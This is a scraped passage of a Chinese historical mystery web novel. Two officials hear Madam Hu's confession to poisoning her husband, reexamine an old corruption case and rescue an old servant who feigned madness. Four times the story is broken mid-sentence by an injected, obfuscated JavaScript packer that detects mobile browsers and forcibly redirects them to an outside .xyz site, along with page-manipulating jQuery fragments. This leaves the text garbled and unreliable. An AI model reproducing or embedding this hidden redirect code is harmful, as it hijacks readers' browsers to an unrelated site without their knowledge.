l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537376|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝异样，不过很快便恢复了常色。 “阿阮走后，我心也便死了。后来，父亲让我嫁给陈牵，我便就嫁了。反正除了阿阮，其他人又有什么区别呢？” “我知陈牵看中我的家世。故嫁进陈府后，我便以此为筹码，与陈牵立下契约，约定两人互不干扰。其一，他替我应付父亲，我替他打点陈府，并每月补贴家用两百两。其二，他可随意在外花天酒地，唯独一点，不能带进府中……这些就得益于他，故他也就都答应了” “日子过得很平和……直至一天，陈牵喝醉酒，将一女子带至家中。”胡氏说到这，眼神里开始带着笑意，“我起初是恼怒的，但当我看清那女子脸孔时，已是泪流满面，那是我的阿阮，我日思夜想的阿阮。” “于是，我便令陈牵为阿阮赎身。可是，醉红楼那老鸨，说阿阮是醉红楼头牌，竟怎么都不肯松口。” “于是，我只能做个局，雇人前去醉红楼闹事，趁楼中混乱之际，悄悄将阿阮带至陈府。” “为避免父亲发现，我将阿阮偷偷藏在书房……”胡氏话音一转，语气中满是恨意，“我和阿阮本能快乐安度此生……只恨陈牵太过贪婪，发现我和阿阮感情后，竟然威胁我，张口要我每月再另给他五百两，否则他便将事情捅到父亲那。” “为了阿阮，加之出嫁前，也存了不少体己钱，所以我也便就同意了。”胡氏说这话时，紧紧握着拳头，“后来，他变本加厉，惦记上我的嫁妆，先是偷偷倒卖里头阿爹最喜欢的字画，后来被我发现，先是求饶一番，随后又拿出阿阮威胁我，我没办法，只能吃下哑巴亏，派人偷偷去当铺将画赎了回来。” “可能是这一番举动，竟然让他滋生一无耻想法，竟想让我同当铺偷偷做番交易：他将假画做上标记，但凡有人拿去当铺典压，当铺照收无误，后由我将画赎回。因当铺本就是娘家的，掌柜的也是自幼看我长大，感情甚笃。遂也就答应了。” 柳如意蹙眉，为何如此麻烦？陈牵直接要银子，不更是方便，兜兜转转绕一圈，到底是为了遮掩什么？遂开口问道，“他这么做是为何？” 胡氏摇了摇头，“他未曾同我说过原因……只不过，一开始，他很谨慎，假画交易地很少，前几个月竟然疯狂典当。” 柳如意问道，“大概几副？花了几钱？” 胡氏想了想，“近三个月，约莫有上百副，花了大约有三万两银子。” 近三月变得活跃，难道是借着当铺名字，转移官银？可是，若是转移官银，为何要让胡氏掺进来，这样的话，多一人知道，多一份危险？胡氏作用到底是什么呢？太多疑云涌现在柳如意的脑中。 沈暨白也是眉间紧蹙，“所以你杀了他？” 胡氏缓缓垂下眼眸，睫毛微微颤抖，“是，谁让他那么贪得无厌……要金银也就罢了，竟还醉酒闯入阿阮房间，甚至还给她下毒，简直罪不可恕……” 胡氏未为自己辩解一二，干净利落便承认，倒是出乎意外。听到下毒，沈暨白有些讶异，问道，“下毒？” 胡氏眼眸中满是狠戾，冷声道，“对，那疯子为了更好控制我俩，给阿阮下了种令人精神失常的药丸，需每七曜从他那获得特定解药，否则痛苦不堪，重则致死……如今阿阮虽已脱离药物控制，但偶尔还会精神失控，这些全是那疯子害得。” 但是，胡氏那般宝贵许阮性命，不怕杀了陈牵，她一命呜呼。这中间定是发生了什么？以至于令胡氏起了杀心，“陈牵手中有解药，你为何要兵行险招杀了他？不怕稍有不慎……” 胡氏脸气得微微扭曲，牙齿咬得咯咯作响，“他竟然想将阿阮送给别人。”话语似乎从一字一句从牙口挤出，满是恨意。 “你说的是？” 她摇了摇头，神情低落，“不知道，好像是京中大人。” 24. 真凶胡氏 陈牵作为湖广户部郎中，好歹也是正五品官职，能令其费力讨好之人，至少品级得正四品以上。 沈暨白揉了揉眉心，京城？正四品官衔以上？胡平县这个小地方，且离京中少说三两天车程，竟然也与京中有牵扯？那人会是谁呢？或者又会是哪个阵营呢？以画诱自己入局的，也是这波人？还是另一波呢？ 沈暨白心中不安，有人在暗中执棋，步步为营，操纵局面。那陈牵这步棋，是弃子还是死棋？ 若说弃子，正四品湖广户部郎中，掌田户、均输、钱谷之政令，权力之大，好不容易培养的一颗大子，说弃就弃，后面莫非藏着更大的阴谋？ 若说死棋，操纵者手法狠戾，干净利落，未废一兵一卒，竟然直接吃了对方一大子，谋略之深毋须言说。 对弈，最怕的就是陷入棋局当中，看不清形势，一顿混乱落子后，被杀个片甲不留。但即是对弈，双方自然便会碰面……棋子动多了，自然也就掩不住将了，到时只需按图索骥顺藤摸瓜，自然也就能看清局势了。 他现在就只需耐心等待，伺机而动，那人自然也便会露出马脚。 沈暨白接着问道，“说说你是怎么杀了他的？” 她语气微微一顿，“我知道，陈牵那方面能力不行，睡前喜欢看些小册子。于是，我便投起所好，雇人送了他本带砒霜的册子……” “具体什么时辰送的？”沈暨白接着问道。 胡氏未加思索，脱口而出，“孟月初六子时一刻……” “如此笃定？” 她微微一怔，随后微微一笑，“刚好那混账死的那日，如此大喜之日，不应该记得深刻些吗？” 沈暨白接着问道，“他可留下了什么钱财？” “没有，他的银两全都花天酒地去了，哪留有一点积蓄。要不然我也不至于拿着自己嫁妆前去当铺进行典当。” 柳如意轻轻勾唇，“那家当铺不是你家开的吗？” “终究是婆家的当铺，加上，当铺这一年，亏损也格外厉害，我也不好意思赊欠…” “大人，该招的我都招了，这事情跟阿阮无关，都是我一人干的，请不要牵罪于她……”胡氏两眼盯着沈暨白，欲从他脸上瞧出什么。 沈暨白黑眸中暗光翕动，淡淡嗯了声。随后仿佛陷入某种思考当中。 整个厅堂瞬间陷入如死般的静寂，每个人的呼吸声也变得清晰可闻。五人各怀心思，怔怔地站在原地。 李衡看着面前均陷入思考的两人，顿时也陷入了进退两难当中。如今，胡氏已然招供，但两位大人迟迟未发话，是将人缉拿归案，押至官廨，还是如何是好？如今，无人开口吩咐，也只能僵硬地怵在原地。 而胡氏内心更是忐忑，睫毛颤抖的更加厉害。两位大人面上都未露出分毫神色，当真令人瞧不出一点。她怕两位大人不信，连累阿阮……又怕他们狠戾，早就听闻京中铁腕手段，刑罚甚是严苛……胡氏不敢接着想下去，只得垂下头，伸手紧紧攥住衣角，仿佛溺水之人紧抓搁浅瓢木一般。 许阮倒是最为镇定，一双漆黑眸子不见半点波澜，好似事情确和其无关。 约莫过了半响，沈暨白摆了摆手，“全都押下去吧。”说完又补充了句，”好生伺候着。” 胡氏张了张口，想说什么，没说出口。 大人终是没相信她的说辞。不过，倒比以前见的那些尸位素餐的官人好太多，在其位、谋其政，没有咄咄逼人，没有严刑逼供，没有草草结案，是位好官。 只是……过慧易夭，他们与如今的宦海官员太不一样，清明自持，洞若观火，犹如淤泥中的芙蓉，倒有些格格不入。 而那暗红劲衣女子，长发被束带高高挽起，明眸善睐，倒不似白衣男子眼底云遮雾绕，却是独有的明艳。 胡氏又叹了口气，举世混浊，不知他们终是鹤立鸡群，高贵如雪中梅花凌寒独开。还是最终被同化，坠入泥潭，惹了身腥臭味？ 自陈府出来，柳如意眉头紧锁得更厉害了，翠娟真的爱胡氏？多年前的感情，在经历抄家后家破人亡、他人冷眼相对等，还是坚如磐石，如之前一般清澈吗？毕竟翠娟吃的苦太多太多！所见黑暗、龌蹉之事也比胡氏多太多！ 尤其是胡氏提起曾去找过翠娟时，其眸中的神情有惊讶，但更多似乎是嘲讽。可是，究竟嘲讽什么呢？是不信，还是嘲讽胡氏如蜉蝣般无能为力呢？ 更奇怪的是，按照胡氏的口吻，翠娟不是被送上刑场，斩首示众了吗？那她是如何死而复生的呢？这背后又是谁在帮她？ 当面的案子有问题！问许阮定是问不是出来，唯一办法便是查当年卷宗。 县衙内，县令刘庆似乎等了许久，见到他两，忙不迭迎上来，“听说大人今早抓了两人，一位是陈大人正妻，另一位据说是‘小妾’……” 柳如意眉毛一挑，“刘县令消息甚是灵通啊？” 只见他讪讪一笑，“大人，胡平县是个小地方，大家都彼此脸熟。今早从衙内状班偷听了嘴，说是御史那边抓了两人去了驿站……” 柳如意狐疑瞥了眼，真如他所言，为状班所说？还是驿站内也有他的人？ 柳如意闻之只是微微颌首，转口道，“把之前陈府抄家案卷宗给我找来。” 刘县令错愕，眼中流露出些许抗拒，“都是些陈年老案，大人为何突然要查阅？” 柳如意冷冷扫过他，“怎么？不可以吗？难道那案子有什么冤情不成？” 似是被柳如意冷冽气势唬住了，急忙摇了摇头，“下官不敢。只是那是几年前的案子，库房杂乱，怕是找起来需要一些时间。” 柳如意淡淡一瞥，奸诈的狐狸，拒绝不成，竟然想用拖字诀，“无妨……那就让他……” 柳如意急忙撤回一根手指头，平时安排李衡惯了，忘了其被安排前去保护胡氏及许阮安危，下意识指向沈暨白。不过还好，他好像没看见。要是被他看到自己指挥他，怕是又被记上一笔，遂连忙改口道，“那就我陪你一同前去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537377|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。两个人一起找，效率更好些，不是吗？” 刘庆躬着身，连连点头。脸上是坐立不安的紧张之色，“劳烦大人了。” 这时，外头传来一阵杂乱的声音。接着，只见一衙役从外头匆忙地跑了进来，“不好了，胡老爷来了，喃喃着要咱们放了他女儿。” 沈暨白眼神一凛，来的真快，随后对柳如意说，“你俩先去找案宗，这事交由我来处理。” 东侧公廨内，胡老爷一脸厉色，见沈暨白前来，嘲讽道，“大人，真是好手段，还以为大人真是老夫那可怜小婿的故人，没想到都是诓骗老夫的说辞。” 沈暨白轻轻一笑，“胡老爷不也找了位假的胡小姐糊弄我们吗？” 其一怔，垂眸解释道，“小女她苦求我的，让我不要暴露她的行踪，说是若有人找上门来，长随替其相见……只是，大人，虽欺骗你确实有错，但也不至于将其关押起来吧？” 沈暨白平静道，“她杀了陈牵。” 胡老爷摇头道，“怎么会？她平日在家连只鸡都不敢杀。何况人呢？” 沈暨白淡淡道，“她已经亲口招供了。” 一听这话，胡老爷脸色紧绷，试探问道，“是不是和她一起的那个女子叫许阮……小女糊涂啊，让她远离许阮，她不听，定是为了她，才杀了陈牵？要不然她哪来的胆量。” 沈暨白察觉到话中关键，斜扫了眼胡老爷，“哦？你也知道许阮没死？” 只见他丧气搭下脸，重重叹了口气，“早知道会酿成如今过错，当初就算为了许兄，我也不会救下她的。” “你救了她？” 胡老爷点了点头，“许涟豪爽大气，生意上胆大，是我胡某的知交，我俩亦有拜把子的交情。许家落难，我袖手旁观，岂不是连畜牲都不如？” “只是许兄犯的事情甚是严重，若是不处理他，官府也无法交差，故救他已是无力乏天之事……不过还好，阮阮没参与他爹那事，于是，我偷偷打通了关系，将她救了出来，悄悄地送出胡平县。如此一来，也算是帮他保住老许家的血脉。” 沈暨白狐疑，“他犯了何事？” 胡老爷又长叹了口气，或是回忆起往事，脸上满是沧桑感，“他糊涂啊，竟然勾结前同知，以提供物资之便，大肆敛取官银。” 沈暨白皱眉，这事情他倒是有所耳闻。当初在湖广求学，听同窗提起过，好似是被人揭发，官衙在其府中发现勾结证据，然后就被查出了…… 胡老爷面上无比痛苦，抱头大声痛哭，“孽缘啊，都将她送出去了，为何她要偷偷回胡平县呢……老夫又是上辈子造了啥孽啊，为何要如此报应老夫？” 良久，对沈暨白又抱手歉意道，“不好意思，都是些家丑，让大人见笑了。小女这事，老夫也不好再参与了，大人秉公办理就行……”，声音中有些哽咽道，“若是小女真的判了死罪，还望大人能帮忙留个全尸，也好体面安葬。” 说完，胡老爷一脸忧伤，跌跌撞撞出了府衙。 25. 另有其人 暝色四起，官廨内已是漆黑一片，只是值庐一角依旧烛火通明。 沈暨白坐在椅上，神情严肃地翻看那些卷宗。 倒是却胡讯所言，许涟勾结前知县曹知，以包揽官家物资采购之名，供些不合规的残次品，后遭人举报，双双判刑。 沈暨白未抬眼，问了句，“呈状呢？” 县令刘庆一个哆嗦，“小人……不知，或是……收拾库房小吏将其放在别处。” 沈暨白朝他看了眼，冷声，“卷宗不是统一归整，麻绳束之，是不胫而飞，还是故意为之？” 被这么一逼问，刘庆双腿一软，跪倒在地，“大人，……小人……真的不清楚，取出来时，就已然不见了。”说完，又转头对柳如意求助道，“柳大人与小人一同前去，她可以帮我作证，我真的没拆开过卷宗……柳大人……” 柳如意见其泪眼婆娑，好似被冤枉一般，摆摆手，油嘴滑舌，“打住，我只是此次同你一起前去，谁知道你之前有没有偷拿出来？” 厅堂内死一般寂静。 沈暨白又冷声问道，“呈人是谁？” 只见其背弓得更低了，惶恐道，“匿名状告。” 沈暨白拍案而起，厉声问道，“荒唐！曹知虽是正七品官衔，但好歹也是知县，管一县之责，竟能匿名状告？” 刘庆双眼一闭，正欲开口。从值庐外进来一人，附在沈暨白耳边小声道，“知府大人来了。” 王宇一进来，扫见刘庆跪倒在地，哭得老泪纵横，朝沈暨白作揖后，问道，“大人，这是？” 沈暨白淡淡道，“不过是七、八年前的陈年老案。” 王宇伸手接过卷宗，粗略地扫了眼，道，“大人，为何突然提起这案子？可是有什么问题？” 沈暨白瞥了眼，果真是个老狐狸，不找主动上门，定是找到应对之策，“这案子好像还是你查办的，刚好呈状找不到了，你来详细说说。” 王宇哈着腰，“大人，案件原委基本上案宗上都记载详实，大人若还有什么疑问，可以直接说出，下官定知无不言。” “为何匿名状告？” 王宇面露难色，看了看左右，“大人可否借一步说话？” 沈暨白伸手屏退了堂内衙役，只留下柳如意，”说吧……她无事。” “其实，是因为许昭……” 柳如意闻言一惊，许昭，许宗的嫡孙，没习得祖上一点聪慧德才，是个不学无术的纨绔子弟。 在家时，父亲没少提他，当然也是不肖子孙的典型，“可怜许老，竟然摊上这么一孙子……你可莫要学他，咱柳家可止不住你霍霍。” 沈暨白心下一沉，面上没露出半点神情，”和他有什么关系？” “大人，衡州府岁底，官家都会采购一批布匹，给府中有官衔的官人，簪彩胜，新衣裳，意寓祛除晦气，辞旧迎新，来年顺遂。” 王宇接着说道，“本是统一发放的，不知底下礼房哪个溜须之辈竟想借机讨好许家，偷偷将布匹提前给了许府。谁料，布匹为残次品，竟害得许昭夫人身上起了许多疹子……” 沈暨白眉头紧皱，“怕许府怪罪，所以胡诌出来的状告？”许家目前虽只剩许昭仍在官场，任得也只是小小的从七品太仆寺署丞，可许老门生也遍满大乾各地，州中尊敬或是忌惮也是正常。 王宇摆了摆头，唏嘘道，“小人哪敢胡诌状告？是恰巧那时突然来了个匿名状告，故才顺水推舟，调查了前知县曹知和许府许涟……不过也是搜到了他们相互勾结的信件，这才定了罪。且两人也签字画押，认下了罪过。” “字迹都尚可模仿，为何断定那信件是他两所写？”比之自内，不自失也，以前她没少遇到这种以假乱真，模仿字迹，离间将卒的事情，故顺口直接问了出来。 王宇道，“确实。除了信件证物外，我们还在许府后院搜查到未被及时销毁的布料……经比对，正是库房那残次布匹。” 沈暨白淡淡“哦”了声，继而道，“当年的布匹还在吗？” “在！”王宇从卷宗里取出一方形油布，慢慢打开，漏出里头一小块深紫色的绢布。 沈暨白眸色一沉，虽过了七、八年，但是布匹仍是色彩鲜艳，未见半分褪色，倒一点也不像残次布料。沉默片刻。道，“瞧我，关注着问陈年老案了……大人这么晚前来可是有什么事？” 王宇哂笑，“都怪手下冒冒失失，听风是雨，也不打听清楚，就说是刘县令被人押走……县令被拿，自是大事。故，下官才匆忙赶来了解原委……嘻嘻……原是闹了个乌龙，下官回去定严厉斥责那些人。”一套话语，天衣无缝，将自己撇得干干净净。 沈暨白点了点头，“原是如此。”乜斜了眼案上快燃尽的烛火，“若是无事，你先下去吧。” 王宇猫着腰，弯着双眼，试探道，“那刘庆呢？”或是觉得有些唐突，又连忙补充道，“毕竟他是胡平县县丞，县中大小杂事都还等着他处理。” 沈暨白抬头望向王宇，指尖轻叩桌面，哒……哒……哒……短促却又间隔良久。 半响，才答非所问淡淡道了句，“他不小心弄丢了个小物件……本官还需要他帮忙找找，毕竟是当事人，找起来定是不难。” 王宇闻言，已是明白话中意思，拱手一揖离去。 柳如意盯着桌上摇晃的烛火，问道，“大人，还用问话刘庆吗？” 沈暨白摇了摇头，勾唇笑道，“你以为现在刘庆还会坦言什么吗？”只不过，自己刚开始审刘庆，王宇这么快就赶来了？看来县衙内王宇耳目不少啊。 而且，他此次匆忙赶到，也证明刘庆定是知情什么内幕。 沈暨白招了招手，附在柳如意耳边小声说道，“待会将他安置在隔壁值庐内，不准外出。同时，派个信得住的人守着他，务必保证他安危。”自己如此“审讯”刘庆，逼急背后人，说不定就动手了。 柳如意尴尬笑了笑，“没人手了。这次出来就没带人……” 沈暨白从腰间拿出一块玉珏，“你去驿站，找他。他自会帮你解决……顺便，再让他……”沈暨白指尖轻轻蘸了茶水，在案上写了个“林”。 翌日寅时，柳如意因想着案件，心中烦躁，辗转难眠，于是起身披了件浅白氅衣，朝房外走去。 屋外明月高悬，清凉有风，地上矮草露水清冷，柳如意缩了缩脖子，将氅衣往身上又紧了紧。 不知走了多久，柳如意瞥见檐下台阶下坐了一熟悉背影，“大人，怎么起的如此之早？” 沈暨白回过头来，见着来人，将身子往旁边挪了挪，“有些东西没想通。” 柳如意一屁股坐在了台阶上，疑惑问道，“大人，几年时间，一个刚正不阿的人真的会折服于权势吗？” 沈暨白抬头望向天上皎洁明月，“疾风知劲草，板厚识忠臣。若是他真为人正直，应是不会吧。” “那就奇怪了。”柳如意接着说道，“曹知此人，我曾听父亲提起过，颇有才学，只是是块硬石头，不知变通。若不是因为过于‘一板一眼’，得罪了不少人，被人作局……作局……” 柳如意喃喃道，冒出个大胆猜想，“不可能这也是场局？” 沈暨白点点头，低声道，“可能。这案件颇为蹊跷。其一，是那失踪的匿名状告。按照王宇的说法，匿名既然能说的通，为何刘庆支支吾吾，他们到底在隐瞒什么？背后之人又为何煞费苦心将状告拿出卷宗？” “其二，便是布匹。都过去六、七年了，就算是油布包裹的在再好，可是他看起来依然颜色艳丽，色泽饱满，依旧崭新如初，一点都不像粗劣布料应有的品质。” “其三，则是状词。曹知、许涟的状书上的画押手印，甚是歪扭，而且拓下掌印颜色之深，定是有人强行逼其画押。” 如此明显的纰漏，对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537378|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能想到拿掉状告，为何不直接将证物一起拿走？总感觉自己忽略了什么重要线索。 柳如意感叹道，“可惜，时间间隔太久，证人估计也没几个了，要不然还能找人问问？” 沈暨白似是想起什么，“那个老妪！” “遭了。”柳如意心中一惊，“因为没人，安排的府衙之杂吏前去跟着老妪。” 往四周一瞥，见远处树旁正拴着匹白色骏马，柳如意一个箭步，闪至树旁，三下五除二解开马绳，随后又是利索地纵身一跃，翻上马背。 “手给我。”又是一个俯身，柳如意掠马走至沈暨白身边，伸手将其拉至马上。 暗夜中一声鞭响，脱缰骏马飞奔，扬起一地尘土。 老妪家住城郊山脚下一偏僻破旧的小院。 还未靠近，刀剑相撞的声响便已传来，空气中充斥着血腥味，“大人，我先去看看。”柳如意一个翻身下马，拿起马上长剑快步走进屋内。 沈暨白也随之下了马。 这时，屋角边传来几声“嘶嘶”马叫声。 沈暨白扭过头，朝白马走起。 只见那马匹通体纯白，颈项修长，抬起前肢欲冲他跑来，无奈被缰绳所束缚。见其靠近，才停止嘶叫，低头乖巧蹭着沈暨白手掌。 屋内，共两拨人。 一拨，几人一身夜行黑衣，黑布覆面，只露出一双眼睛在外。不过，已经躺在了一滩血泊之中。 另一拨，不，应该是一人，一身霜色窄袖骑装，腰间斜插一把短刀，眸如寒星，清姿明秀。 柳如意盯着那人，莫名觉得熟悉。 对！眉眼有几分甚是与沈暨白相像。只是眼角那颗泪痣，倒多了几分无辜。 “又来一人？”那人轻蔑一笑，从腰间抽出短刀，向柳如意直直刺去。 柳如意亦是拔出长剑，向其迎去。 刀光剑影间，几个回合，两人不相上下，只闻裂帛之声，短刃划过柳如意衣袖，“嘶啦”一声，划下一块碎步。长剑亦是轻轻一挥，划过男子长发，“呲”一声，发丝亦随之落下。 刀光渐寒，两人眼见着又要交手打起来，传来一声熟悉喝止声，“住手！” “沈大人。” “表哥。” 两人异口同声，听到对方的话后，不约而同转头，大眼对小眼诧异道，“你？” 沉默良久，还是许昭开口打破了寂静，“嘻嘻……不知道竟是柳大人，不打不相识了。”许昭尴尬地挠了挠头，张嘴咧出一口大白牙。 “你武艺不错。”柳如意暗暗打量，对方一袭骑装，银线绣海马样式，九品官职。样子格外陌生，他究竟是谁？ 沈暨白看了眼柳如意，解释道，“许昭。” 柳如意伸手做了一揖，“幸会。”原是那纨绔子弟，只是，从刚才与其交手来看，倒不似众人所说的那般“无用”。还有，他刚才喊沈暨白“表哥”？那么，开朝元老许宗是沈暨白外祖父？ 许昭亦回了一揖，恍然大悟般拍了拍自己脑袋，“是我糊涂了，忘记介绍了。” 柳如意淡淡一笑，“无事！你叫沈暨白‘表哥’，那他是许老的？” “嗯……” 许昭还欲说什么，被沈暨白开口打断道。 “你怎么来这了？” “前阵子，你写信提到的那梅花画，府中翻遍了，也没找到……所以，祖父令我前来看看。刚好经过这，发现一群人在欺负老妪……小爷我自是路见不平，拔刀相助。出手救了她。只是这群杀手武艺真不行，再来十个，小爷也没问题……”许昭狐狸尾巴似乎有些飘飘然，翘得老高。 “老妪呢？“沈暨白打断，问道。 许昭踢了踢柜子，“安全了，出来吧。” 只见柜中偷偷开了一缝，老妪慢慢从里头爬出来，只见其头发依旧是万般凌乱，只是眼神不是一片混沌，而是一片清明。 26. 她没疯？ 柳如意盯着那清明的眸子，没有一丝疯癫之人的空洞，“你没疯？” 只见那老妪微微直起那佝偻的身躯，眼神略带颤意的望着她，“……为了活命。” 柳如意望着其瑟缩的身体，侧身询问道，“大人，先回驿站？” 沈暨白瞥了眼四周，遍地横尸，老妪亦是心惊胆颤，现行确实不合适询问，点头道，“嗯” “收拾下。”沈暨白又指了指那几句尸体，吩咐许昭道。 许昭撇了撇嘴，盘手而立，“表哥，我只是养马的……毁尸灭迹，这……我还真不会？” 沈暨白笑了笑，语速放缓道，“衙门……倒是精通这块，我不介意……报官。” 许昭认栽，果真是个黑心歹毒之人！只见，他利索挽起袖子，双手自黑衣人腰间自上而下、由里及内探查起来，良久，忍不住骂了嘴，“他爷的……一点东西都不带，连个腰牌也没有。” 沈暨白思虑了下，“把他们衣服全脱了。” 许昭猛然瞪大眼，瞬间明白其意图。若是放在富贵人家，倒可以说虾兵蟹将的贼人劫财骗色。一老妪，年老色衰，又住破旧茅屋，明显不是冲钱财而来。那定是老妪知晓什么，黑衣人受人所雇，前来取其性命。而若是受人所雇……为避免暴露身份，大概率用的江湖杀手，那这些人身上定有什么线索。 “你要不先和阿婆出去？怕……不宜。”许昭自腰间取出短刀，正欲挑开黑衣人衣服，猛然想起什么，顿时止住了手下动作。 什么大风大浪，她没在军当中见过。这点小场面……正欲开口拒绝，瞥见墙角瑟缩不止的老妪，改口道，“好。” 见柳如意、老妪出了屋子，一道残影掠过，道道寒光闪过，黑衣人身上衣服立马被褪去的一干二净。 沈暨白抚额，“其实……也不必这么干净。” 许昭讪讪一笑，“这不是怕遗漏什么线索。“ 沈暨白不想同其继续辩嘴，垂下眸子，看向四具尸体，双目骤然一深。果真，四具尸体上，胳膊大臂上都纹有饕餮，狰狞面目，怒目獠牙，张着血盆大口。一种熟悉感自心底油然而生，可……他怎么也想不出来在哪见过。 “表哥，认识？”许昭见沈暨白良久未说话，开口问道。 “有些熟悉，扔出去吧。” 一个残影，接着一个残影……许昭随意用衣物裹着黑衣人，一个箭步，接着一个箭步，将他们扔下老妪家附近的悬崖。 咚……咚……咚……咚。 随后，他又不知从哪取了些垩灰，伸手随意一撒，落在了屋内地上，掩去空中血腥味。 屋外。 柳如意见沈暨白走了出来，便牵着马朝其走去，又指了指远处白马，“大人，目前就两匹马，你和许大人一匹，我载老妪？”毕竟是自己带沈暨白过来的，至少也要将他送回去，要不然若是他日后记恨自己，后果可怖。 沈暨白还未开口说话，一旁许昭错愕道，“你俩之前同乘一骑过来的？” 柳如意听了这话，一愣，这有啥奇怪，“事出从急！沈大人不擅马术……” 许昭又是一脸震惊，指了指沈暨白，张口想说啥，被沈暨白打断，“找件衣服。给阿婆掩着脸。” 许昭一声嗤笑，“好！” “许大人这是？” “没事！年少时生了场大病，有时精神不对头。” 天色微亮，晨光熹微，透过云层洒下来，将重重迷雾驱散。 驿站外。 两驿卒见沈暨白一行人，觉得脸生。又见老妪长衫掩面，只露出双眼睛在外，甚是古怪，遂架起长矛挡住了他们的去路，“官家驿站，闲杂人勿入。” 沈暨白瞥了眼，淡淡从袖中拿出勘合，递了过去。 其中一驿卒接过勘合，原只是瞥了眼，见上头都察院的红泥，神情骤变，急忙拉着一旁驿卒，恭敬地施了一揖，“原是都察院的大人……小人有眼不识泰山。”说着，恭敬地将他们迎了进去。 其中驿卒哈着腰，问道，“大人，这位阿婆是？”老妪佝偻着身子，双眼满是沧桑，身上的粗布长衫同三人格格不入，又加长衫蒙面，驿卒怎么也猜不出一点其身份， “备些热汤。”沈暨白又转头吩咐许昭道，“你领着阿婆盥洗一番。” 驿卒闻言，点了点头，已经揣摩出了一些，是位“贵客”。 而立于一旁的许昭愣了愣，半响指了指自己，“我？” “嗯。又不用你动手……保护好她就行。”沈暨白淡淡点头道，“待会我还有其他事交待如意。” 柳如意跟着沈暨白来到一间客房。 屋内。 沈暨白铺开一张宣纸，拾起一方墨锭磨了磨，笔落纸上，须臾间，刺客身上的饕餮纹案便跃然纸上，“这个纹样你可认识？” “这不是太……”柳如意神情突变，心中一惊，脑中似乎想起什么，又觉得不太合理，将方才的念头作罢，摇了摇头，“没见过……大人这图案在哪瞧来的？” “今早那群刺客身上的图案……我瞧着甚是眼熟，故来问问你。”沈暨白语气平静问道，眼神却是冷冽，似乎一眼能将人看穿，复又问了句，“你当真没见过？” “真的，我自小都在营中习武，孤陋寡闻，见过的‘苏意’自然没有大人多。”柳如意有些心虚，垂下了眸子，又解释道，“开始觉得大人画得太过逼真，震惊大人还精通画艺。” 沈暨白沉默盯着她半响，从其神情中已咂摸出些东西。柳如意虽慧心妙舌，看似擅于巧言令色、虚以委蛇等把戏，却不够沉毅，事情显露于面，若是卷入于漩涡当中，倒有些稚嫩。 沈暨白想着，内心不由笑了笑。欲戴其冠，必承其重。既然她选择这条路，主动亦或是被迫，那就该承受其带来的后果。自己不也是这般过来，为何此时变得如此多愁善感？ 上之所是必皆是，所非必非之。官场法则本就是优胜劣汰，强者恒强，主宰一切。当然也适用于他。在这朝廷当中，他自己都“自身难保”，深陷“泥潭”，又如何去同情另一人呢？或是自己悲悯其才华，才如此吧……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537379|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 似是想通，沈暨白从思绪中回过神来，吩咐道，“待会你去把胡氏和许阮找来。” “好。” 沈暨白望着外头，只见天色慢慢转亮，朝阳不知何时挣破层云，悄悄探出身子，洒下晨光，消散了青砖瓦片上的一层薄霜。 “说吧。”沈暨白背靠着檀木方椅，语气依旧是淡淡的。只是双眸微动，漏出如利剑般目光，仿佛要将老妪一眼看穿一般。 老妪目光中满是惶恐，双手死死拽着袖口的一角，支吾道，“大人……要我说什么？” 沈暨白眼神依旧冰冷，嘴角勾起一丝笑弧，嘲弄道，“阿婆，那些人已知你是装疯，你觉得还会放过你吗？” 老妪睫羽微颤，心中一紧，确实，若是那批杀手未能回去复命，那人回头倒查，自然也会发现古怪之处。况且，其还未发觉她装疯，都如此“大动干戈”安排四位刺客前来杀她；若是发现，岂不是更加“变本加厉”。 想到这里，老妪抬起头，眼中满是凄苦，祈求道，“若是我坦言，可否请大人保我安虞？” “阿奶。”门口传来一声。语气有些疏离，但是又有几分眷恋。 老妪循声望去，是许阮！ 小姐不是枭首示众了吗？为何会出现在这？死而复生……往事种种皆浮现在脑中，失而复得，令今更觉其珍贵，往事之荒唐。 顿时，老妪眼泪如决堤之水潸然落下，双膝也轰然落在地上，泣声唤了声，“小姐，奴才罪该万死。”然后，又转头对沈暨白说道，“大人，我全说！” 老妪依旧是跪在地上，似是想借此弥补曾经心中的那份愧疚。 “老爷他是被陷害的……”此话一出，如石落静湖，惊起一池波澜。 